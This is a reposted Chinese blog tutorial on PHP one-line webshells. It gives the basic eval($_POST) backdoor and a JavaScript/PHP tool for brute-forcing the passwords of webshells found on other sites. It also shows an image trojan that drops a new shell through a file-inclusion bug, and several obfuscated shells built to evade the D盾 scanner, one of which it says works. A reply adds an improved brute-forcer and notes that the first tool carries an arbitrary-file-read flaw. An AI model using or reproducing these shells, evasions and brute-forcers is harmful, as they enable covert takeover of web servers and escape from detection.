公告:

深入浅出玩转php一句话(含过waf新姿势)

作者:star0312 / 时间:8年前 (2017/02/26) / 分类:互联网 / 阅读:1636 / 评论:0


一、前言本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!
各个论坛出了不少过waf的一句话
可笔者见还是有不少小白没有理解一句话(只知道是拿来链接菜刀)
今天打算做一篇面向初学者的教程,总结知识点,抛砖引玉。
让小白从彻底理解马的含义,到打造属于自己过waf的马。
--------------目录------------------------------------------------------------------

  • php一句话含义

  • 用js+php打造高效率一句话爆破脚本(知识扩充:CORS与AJAX)

  • 简单介绍一句话上传攻防

  • 一句话过waf思路

----------------------------------------------------------------------------------------------

二、正文
-----------0x01.php一句话含义---------------------------------------------------
一句话木马:
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。
先来瞅瞅最原始的一句话是啥样子:
[PHP] 纯文本查看 复制代码?

1<?php @eval($_POST['pw']); ?>


看到只能赞叹前辈的智慧,我们这一代始终是站在巨人的肩膀上。
而小白看到这个会想到什么呢?
哦,密码是pw

这句话什么意思呢?
php的代码要写在<?php ?>里面,服务器才能认出来这是php代码,然后才去解析。
@符号的意思是不报错。
例如:
如果没有@,如下图,就会报错

深入浅出玩转php一句话(含过waf新姿势) 

为什么呢?
因为一个变量没有定义,就被拿去使用了,
服务器就善意的提醒:Notice,你的xxx变量没有定义。
这不就暴露了密码吗?
所以加上@
为什么pw是密码呢?

那就要来理解这句话的意思了
php里面几个超全局变量
$_GET、$_POST就是其中之一
$_POST['a'];
意思就是a这个变量,用post的方法接收。
(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据(例如xxx.php?a=2))
eval()
把字符串作为PHP代码执行
例如:eval("echo 'a'");其实就等于直接 echo 'a';
再来看看<?php eval($_POST['pw']); ?>
首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';
这时代码就变成<?php eval("echo 'a';"); ?>
结果:
深入浅出玩转php一句话(含过waf新姿势) 

连起来意思就是:
用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行
所以也就能这么玩:
深入浅出玩转php一句话(含过waf新姿势) 
也就是说,你想执行什么代码,就把什么代码放进变量pw里,用post传输给一句话木马
你想查看目标硬盘里有没有小黄片,可以用php函数:opendir()和readdir()等等
想上传点小黄片,诬陷站主,就用php函数:move_uploaded_file,当然相应的html要写好
你想执行cmd命令,则用exec()
当然前提是:
php配置文件php.ini里,关掉安全模式safe_mode = off,
然后在看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec。
(有些cms为了方便处理某些功能,会去掉的)
看看效果:
深入浅出玩转php一句话(含过waf新姿势) 
现在应该理解,为什么说一句话短小精悍了吧!

--------------------------------------------------------------------------------


-----------0x02.用js+php打造高效率爆破一句话脚本----------------
用来接收的变量可以随便写,
例如<?php @eval($_POST['aadhqdssjdodjsijsdmzodjihdaisjd']); ?>
那么变量就是aadhqdssjdodjsijsdmzodjihdaisjd,也就是所谓的密码
深入浅出玩转php一句话(含过waf新姿势) 



那如果,在扫描目录的时候,发现某个可疑目录,
例如:www.dedecms.com/include/taglib/yijuhua.php
扫到了的返回信息是200 ok
但是打开却是空的,我们就有理由相信:这很可能是别人留下的后门(一句话木马)
这时候,咱们就可以尝试爆破这个密码
a=echo 'okok';
没有回显,不对
b=echo 'okok';
没有回显,不对
.
.
.
这样可以吗,可以,但太慢了。
吐司论坛上,接地气表哥就已经给出过思路,用&连接多个变量参数,一次测试多个参数
这样可以让你的爆破效率提高千倍
比如
深入浅出玩转php一句话(含过waf新姿势) 

一次放几百个参数,只要里面恰好有那个密码,就会有回显!
tip:阿帕奇最多接收1000参数

咱们i春秋论坛已经有人给出py脚本,这里给出js+php的,大家完善+修改后,就可以放到自己的网站上,丰富网站功能
奸笑一下,为什么说是完善+修改呢?一会再说

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
    <title>一句话爆破</title>
</head>
<body>
    <div id="div" style="margin:0 auto; width:500px;">
        <form action="" method="post">
            目标网址:
            <input type="text" id="decurl" name="decurl" style="width:400px" value="<?php echo @$_POST['decurl'] ?>" /><br>
            <textarea name="dic" id="dic" cols="30" rows="10" style="resize:none; width:490px; height:290px;"></textarea>
            <input type="button" name="" id="" value="开始爆破" onclick= go(); />  
            <input type="text" name="dicfile" id="dicfile"  value="<?php 
                    if(@$_POST['dicfile']) echo $_POST['dicfile']; 
                    else echo "爆破字典";
                ?>"/>
            <input type="submit" name="" id="" value="导入字典" onclick=dr(); />
        </form>
        <?php 
        //接收字典,放进textarea里面。
            if (@$dicfile = $_POST['dicfile']){
                $str = file_get_contents($dicfile);
                $dicarr = split("\r\n",$str);
                $dic = "";
                echo "<pre>";
                print_r($dicarr);
                echo "</pre>";
                for($i=0;$i<count($dicarr);$i++){
                    $dicarr[$i] = preg_replace('/\;/','',$dicarr[$i]);   //去掉影响要素
                    $dic .='&'.$dicarr[$i].'=echo "okok";'; 
                }
                $dic = addslashes($dic);
                echo "
                <script>
                    var str = document.getElementById('dic');
                    dic.innerHTML = '{$dic}';
                </script>";
            }
         ?>
    </div>
<script>
    //创建xmlhttp对象函数
    function getxmlhttp(){
        if (window.XMLHttpRequest){
            var xmlhttp = new XMLHttpRequest(); 
        }else{
            var xmlhttp = new ActiveXobject("microsoft.HMLHttp");
        }
        return xmlhttp;
    }
 
    //爆破函数主体
    function go(){
        var dic = "<?php echo $dic; ?>";     //获取字典
        var decurl = document.getElementById("decurl");  //获取目标url
        var xmlhttp = getxmlhttp();
 
        //判断字典是否超过1000条
        var dicarr = [];
        var steparr = [];
        dicarr = dic.split(";");                      //把字典分开,变成数组
        step = Math.floor((dicarr.length - 1)/900);   //step储存需要分几步爆破
        for(i=0;i<=step;i++){
            for(j=(i*900);j<(i*900+900);j++){
                if (dicarr[j] == undefined) break;
                steparr[i] += dicarr[j] + ";";
            }
        }
        //return false;
        //开始爆破
        for (i=0;i<=step;i++){
            xmlhttp.open("POST",decurl.value,false);
            xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xmlhttp.send(steparr[i]);
            var result = xmlhttp.responseText;
            if(result == "okok") {
                select(steparr[i],decurl.value); 
                return ture;
            }
        }
        alert(/no/);
    }
 
    //缩小密码所在范围
    function select(str,decurl){
        var xmlhttp = getxmlhttp();
        var strarr = str.split(";");
        if (strarr.length <= 4){
            getpw(strarr,decurl);
            return ture;
        }
        mid = Math.floor(strarr.length/2);
        var str1 = "";
        var str2 = "";
        for (i=0;i<mid;i++)
            str1 += strarr[i] + ";";
 
        xmlhttp.open("POST",decurl,false);
        xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        xmlhttp.send(str1);
        var result = xmlhttp.responseText;
        if(result == "okok") select(str1,decurl);
        else{
            for (i=mid;i<strarr.length;i++)
                str2 += strarr[i] + ";";
            select(str2,decurl);
        }    
        alert(str);
    }
 
    //爆破最终密码
    function getpw(strarr,decurl){
        xmlhttp = getxmlhttp();
        for (i=0;i<strarr.length;i++){
            strarr[i] = strarr[i] + ";";
            xmlhttp.open("POST",decurl,false);
            xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            xmlhttp.send(strarr[i]);
            var result = xmlhttp.responseText;
            if (result == "okok"){
                alert("password is:"+strarr[i]);
                return ture;
            }
        }
    }
 
</script>
</body>
</html>



这里,接收到字典以后,先除以900(照顾Apache,如果表哥们有精力,可以加上服务器识别,然后相应给参数)
除以900的意思,就是把字典分成若干份,每份900个参数
分别递交给一句话
如果没有回显,说明这部分不含正确密码(就是那个post接收的参数)
那就拉倒,下一部分继续
但是一旦出现回显:okok,(我给的)

那么就进入缩小范围的自定义js函数select()
运用二分法,分别筛选,最后找出正确密码:
深入浅出玩转php一句话(含过waf新姿势) 
代码比较简陋,8000.txt是8000个常用密码
要放在脚本相同目录下。
好了,细心的同学一定发现了,这里有一个天坑:
整个爆破主体是用js写的,准确说是js里的ajax
因此要遵循CORS(跨源资源共享)
如果不同域,且目标没有'Access-Control-Allow-Origin'的消息头
那就会被拒绝:
深入浅出玩转php一句话(含过waf新姿势) 

如果目标有消息头:'Access-Control-Allow-Origin:*’
代表允许任意域的跨站资源共享请求

<?php 
header("Access-Control-Allow-Origin:*");
@eval($_POST['hello']); 
 
?>



那就成功:
深入浅出玩转php一句话(含过waf新姿势) 

CORS并不难,但是很多程序员用不懂,不懂用,导致了信息泄露
感兴趣的可以看看:https://developer.mozilla.org/zh ... Access_control_CORS
--------------------知识拓展-----------------------------------------------------------------------------

ajax是指一种创建交互式网页应用的网页开发技术
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。

这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
开发者的初衷就是增加用户体验,比如你添加个购物车,如果刷新一下页面,是不是会很恶心
用了ajax就能完美实现购物车功能,而不影响用户体验
那么到了黑客手里就变成杀人于无形的武器
(主要用于xss,csrf)

前提是你要先把cors搞清楚,本来cors是用来满足各个不同web程序的奇葩要求。
但是由于很多程序员搞不会,在调试脚本时,就匆匆用Access-Control-Allow-Origin:*
于是就造成信息泄露(facebook前一阵子就出了这个洞,黑客成功盗取用户聊天记录)

简单介绍下ajax,
ajax的核心是XMLHttpRequest(简称xhr),但是IE7前不支持xhr对象,因此一般获取这个对象需要这样:


var xmlhttp
if (window.XMLHttpRequest){
  xmlhttp = new XMLHttpRequest();   //IE7及以上浏览器,firefox,Chrome,Opera,Safari
}else{
  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");  //IE7以下浏览器
}



ajax是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。
然而CORS推出后,则给跨域提供了一条路,要想了解,参见上面给的链接。

取到xhr对象后,用open来发送数据。
接着上面代码
xmlhttp.open(method, url ,ture/false)
xmlhttp.send(something);
如果是post,则在下面的send里面放参数
如果是get,则在url里放参数
一个不错的xss攻击框架——BeEF就是用ajax技术,每隔几秒钟发一次信息,时刻保持联系

若要学习ajax,推荐百度一下:w3c菜鸟学院

这里说明一下,为什么要用ajax做这个脚本呢

  • 本人并不希望大家直接把代码拷回去直接用,思路已经详细给出了,用php等很多语言能完成,希望大家可以动手写一写

  • 拓展一下ajax和cors,这将是一个影响深远的安全问题


-----------0x03.
简单介绍一句话上传攻防---------------------------------------------------我们要拿下一个网站的shell,一个思路就是找到上传点
把木马传过去然后该干嘛干嘛
一般来说上传点并不尽如人意

会对上传文件作出限制,例如只能传图片
如果只是简单地本地对Mime进行验证。
那么用burpsuite拦截,修改即可

还有很多其他的方法,针对不同服务器,不同版本,应对措施不一样(00截断,畸形解析,;截断)

若是服务器对上传的文件进行验证,有什么办法呢?
防:本地js对后缀名验证
攻:上传时,后缀先改成xxx.jpg,然后抓包拦截修改后缀成php
防:用函数对图片进行校验(随机取点验证)
攻:制作图片马,综合别的漏洞来解析图片马
防:上传文件改名字,改路径,不告知路径
攻:........

制作图片马方法不少
这里介绍一种最简单的,图片用txt打开,把一句话直接加进图片里面
深入浅出玩转php一句话(含过waf新姿势) 
然后利用本地包含漏洞:
深入浅出玩转php一句话(含过waf新姿势) 
测试了一下,只能用phpinfo(),不能用fopen写出新木马
这里也求大牛出来解决下。
---解决了-----------------------
刚觉得不甘心,又拿dvwa做了做实验,灵光一闪,突然想到我们直接可以写个生成新文件的代码
生成新的一句话,
我们先重新审一下思路,
上传点做了限制,必须传图片。
我们随便找一个图片,用txt打开,加入php代码:


<?php 
$op = fopen("fuck.php", "a+");
fwrite($op, '<?php @eval($_POST["hello"]); ?>');
fclose($op);
 ?>



如图:
深入浅出玩转php一句话(含过waf新姿势) 
成功上传:
深入浅出玩转php一句话(含过waf新姿势) 
上传成功+知道路径+成功解析=getshell
很可惜这里后缀名是png,
Apache服务器会认为这是图片,不会把他解析成php
因此没有卵用。。不信可以访问看看:
深入浅出玩转php一句话(含过waf新姿势) 
为什么会这样呢?
因为还缺了一步:成功解析
如果这个网站还存在文件包含漏洞
那么我们可以把这个图片包含进来,包含的文件无论是什么后缀,都会被当成php解析!(注意url)
深入浅出玩转php一句话(含过waf新姿势) 
成功了
我们的代码意思是:在同目录下创建名字是fuck.php,内容为一句话木马的文件
我们尝试访问:
深入浅出玩转php一句话(含过waf新姿势) 
你get到了吗?

-----------0x01.一句话过waf思路---------------------------------------------------
很多时候,我们辛辛苦苦上传的一句话,没过多久,就发现菜刀连不上了
这时候可能是因为管理员没事干,开了类似d盾的waf,把后门扫出来了
我们来看看原生态php一句话,在d盾面前是什么样子的:
深入浅出玩转php一句话(含过waf新姿势) 
妥妥的被杀嘛。。
waf主要是对敏感单词进行分析,用正则去匹配恶意代码
那么我们一般要怎么去绕过waf的正则呢?
网上给出的思路无非是把关键字打碎,再组合。例如:

<?php 
$pn="CslRfUE9TVFsnYydd";
$gy="";
$lsg = str_replace("d","","dsdtdrd_drdedpldadce");
$bx="KTs=";
$eep="slIEBldmFsK";
$qkj = $lsg("y", "", "ybyaysyey64y_ydecyodye");
$do = $lsg("tz","","tzcrtzetzatzttzetz_funtzctzttziotzn");
$lct = $do('', $qkj($lsg("sl", "", $eep.$gy.$pn.$bx))); $lct();
?>



替换,编码混淆,动态创建函数,变量函数

你以为这样就逃出d盾法眼了吗?
深入浅出玩转php一句话(含过waf新姿势) 
很正常,一个新的过waf一句话传出去,很快各个waf就会制定新规则,并且把新的马列入黑名单,
一旦出现一模一样的马,就标记威胁级别5,已知后门!

我们分析一下这个过waf的思路,尝试自己改造
$lsg实质就是一个变量函数,代表的函数是str_replace(替换)
$qkj也是变量函数,代表的函数是base64_decode(base64解码函数)
$do同样,代表的函数是create_function(创建匿名函数)
剩下几个变量,就是加入了sl混淆的base64.
最终结果是$lct赋予函数
函数内容是:@eval($_POST['c'])

我们照这思路改一改:


<?php
$do = str_replace('sl','','crsleaslte_fslunslction');
$a1 = "IEBldmFsKCRfU";
$a2 = "E9TVFsnZmJpJ10pOw==";
$xx = $do('',base64_decode($a1.$a2));
$xx();
?>


深入浅出玩转php一句话(含过waf新姿势) 
显然密码是fbi
我看看d盾扫描结果
深入浅出玩转php一句话(含过waf新姿势) 
威胁级别3,可疑变量函数
凑合,没有直接说后门就不错了。
笔者尝试多种修改,多种混淆,始终是下不去3

最后换了个思路(来自08sec一个成员,曾发布在吐司,但有些小问题,笔者修改了一下),
用php函数array_flip,数组键值对互换,来完成免杀
深入浅出玩转php一句话(含过waf新姿势) 
看看代码:


<?php
$a1 = "ass";
$a2 = "ert";
$arr=array($a1.$a2=>"test");
$arr1=array_flip($arr);
$arr2 = "$arr1[test]";
@$arr2($_REQUEST['123']);
?>



分析一下,$arr是数组,$arr['assert']='text'
$arr被函数处理,键值对互换后放入$arr1
$arr1['text']='assert'
$arr2=assert了
assert()函数和eval类似,
注意一下,这里,eval不是函数。所以用函数变量的方法是不行的
不信可以自己试试
因此这里笔者才用assert,有部分限制,但是菜刀链接没问题
深入浅出玩转php一句话(含过waf新姿势) 
再来看看d盾扫描结果:
深入浅出玩转php一句话(含过waf新姿势) 
免杀成功,估计不久后就要被杀了
大家且用且珍惜
其实把思路学到手,稍微改改就差不多能免杀了

三、结束语编程挺重要的,希望大家没事就把一些常用的脚本语言入个门吧,不写程序,起码也得看得懂代码啊,
还有就是多谷歌、多谷歌、多谷歌
看到陌生函数,陌生代码语句,谷歌,学会自学!

四、参考资料
《Web前端黑客技术揭秘》、《黑客攻防技术宝典web实战篇》



==================================================================================================

ajax来做爆破 想法是很好的 不过代码写的有点问题,千万别放自己网站上哦。


if (@$dicfile = $_POST['dicfile']){
                $str = file_get_contents($dicfile);



如果POST dicfile=index.php 妥妥的任意文件读取嘛。。。

还有就是楼主可能没仔细看快速爆破的方法,楼主的方法是
a=echo "ok";&b=echo "ok";&c=echo "ok";aabbcc=echo "ok";……………………
然后二分法再缩小范围 其实完全不用 只要改一下
a=echo "a";&b=echo "b";&c=echo "c";&aabbcc=echo "aabbcc" ……………………
只要看echo回来的是什么 密码就是什么

还有就是js跨域的问题,反正都已经用上php了 不如就直接用php的curl库来做请求
或者 索性打算纯静态html+js的话 javascript也有跨域的方法 jsonp
修改一下 a=echo $_GET['callback'].'({"result":"a"})';
然后用jquery的ajax就行了。有时间我写个纯html+js的爆破贴在这里。
——————
更新 忘了jsonp不支持post 还是算了 哈哈
——————
再更新 忘了可以自己加Access-Control-Allow-Origin头- - 继续写。。。
——————
最后更新,写好了 纯html+js 可以安全放在自己网站上 不过也有个缺点就是得自己粘贴字典 js没那个能力操作本地文件。


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
 
  <title>一句话爆破</title>
</head>
 
<body>
  <div id="div" style="margin:0 auto; width:500px;">
    目标网址: <input type="text" id="decurl" name="decurl" style="width:400px" value="" /><br />
    <textarea name="dic" id="dic" cols="30" rows="10" style="resize:none; width:490px; height:290px;">
        </textarea> <input type="button" name="" id="" value="开始爆破" />
    <p id="succ" style="font-size : 1em;color : #f00;"></p>
  </div>
<script type="text/javascript">
function $(id) {
        return document.getElementById(id);
}
function go() {
        var dics = new Array();
        var url = $('decurl');
        var dic = $('dic');
        var payload = '';
        dics = dic.value.split(/\r?\n/);
        head = 'header(\'Access-Control-Allow-Origin: *\');'
        head += 'header(\'Access-Control-Allow-Methods: POST\');'
        for (var i = 0; i < dics.length; i++) {
                var ret = false
                payload += dics[i] + '=' + head + 'echo "pass:' + dics[i] + '";&';
                if (i > 0 && i % 900 == 0 || i == dics.length - 1) {
                        console.log('-----------')
                        console.log(i);
                        try {
                                ret = ajax(url, payload);
                        } catch (e) {}
                        payload = '';
                        if (ret) {
                                break;
                                console.log('done');
                        }
                }
        }
}
 
function ajax(url, payload) {
        var xmlhttp = getxmlhttp();
        xmlhttp.open("POST", url.value, false);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlhttp.send(payload);
        var result = xmlhttp.responseText;
        if (result.indexOf('pass:') != -1) {
                succ(result);
                return true;
        }
        return false;
}
 
function succ(value) {
        $('succ').innerHTML = "爆破成功!" + value;
}
 
function getxmlhttp() {
        if (window.XMLHttpRequest) {
                var xmlhttp = new XMLHttpRequest();
        } else {
                var xmlhttp = new ActiveXobject("microsoft.HMLHttp");
        }
        return xmlhttp;
}
</script>
</body>
</html>



本文摘自http://bbs.ichunqiu.com/thread-17816-1-1.html  主要供自己学习用。感谢原作者sucppVK

  • 我的QQ二维码
  • QQ群
  • 我的微信二维码
  • 微信公众号

没有评论,留下你的印记,证明你来过。


发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。